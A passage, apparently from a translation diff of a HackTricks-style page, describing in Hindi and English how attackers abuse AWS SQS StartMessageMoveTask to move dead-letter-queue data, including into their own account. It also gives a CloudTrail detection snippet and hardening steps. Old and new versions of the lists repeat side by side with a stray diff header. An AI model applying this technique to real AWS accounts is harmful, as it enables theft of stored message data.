5. **Cross-Account Capable**: यदि permissions अनुमति दें तो attacker अपने ही AWS account में exfiltrate कर सकता है
1. **वैध AWS फीचर**: बिल्ट-इन AWS कार्यक्षमता का उपयोग करता है, जिससे इसे दुर्भावनापूर्ण के रूप में पहचानना कठिन हो जात है
2. **Bulk Operation**: धीम व्यक्तिगत पहुंच बजाय हजारों संदेशों को तेज़ी से स्थानांतरित करता है
3. **Historical Data**: DLQs हफ्तों/महीनों में संवेदनशील डेटा जमा करते हैं
4. **Under the Radar**: कई संगठन DLQ एक्सेस की करीबी निगरानी नहीं करते
5. **Cross-Account Capable**: यदि permissions अनुमति दें तो हमलावर अपने ही AWS अकाउंट में exfiltrate कर सकता है
## Detection and Prevention
## पहचान और रोकथाम
### Detection
संदिग्ध `StartMessageMoveTask` API कॉल्स के लिए CloudTrail की निगरानी करें:
### पहचान
संदिग्ध `StartMessageMoveTask` API कॉल के लिए CloudTrail की निगरानी करें:
```json
{
"eventName": "StartMessageMoveTask",
@@ -143,8 +145,10 @@ done
}
```
### रोकथाम
1. **न्यूनतम विशेषाधिकार**: `sqs:StartMessageMoveTask` अनुमतियों को केवल आवश्यक भूमिकाओं तक सीमित करें
2. **DLQs की निगरानी**: असामान्य DLQ गतिविधि के लिए CloudWatch अलार्म सेट करें
3. **क्रॉस-एकाउंट नीतियाँ**: cross-account access की अनुमति देने वाली SQS queue नीतियों की सावधानीपूर्वक समीक्षा करें
4. **DLQs को एन्क्रिप्ट करें**: सीमित key नीतियों के साथ SSE-KMS का उपयोग करें
5. **नियमित क्लीनअप**: संवेदनशील डेटा को DLQs में अनिश्चितकाल तक जमा न होने दें
1. **न्यूनतम धिकार**: केवल आवश्यक भूमिकाओं के लिए `sqs:StartMessageMoveTask` अनुमतियाँ सीमित करें
2. **DLQs की निगरानी**: असामान्य DLQ गतिविधि के लिए CloudWatch अलार्म सेट करें
3. **क्रॉस-एकाउंट नीतियाँ**: खाता-पार पहुँच की अनुमति देने वाली SQS queue नीतियों की सावधानीपूर्वक समीक्षा करें
4. **DLQs को एन्क्रिप्ट करें**: SSE-KMS का उपयोग करें और सीमित कुंजी नीतियाँ लागू करें
5. **नियमित सफाई**: DLQs में संवेदनशील डेटा को अनिश्चितकाल तक जमा न होने दें
{{#include ../../../banners/hacktricks-training.md}}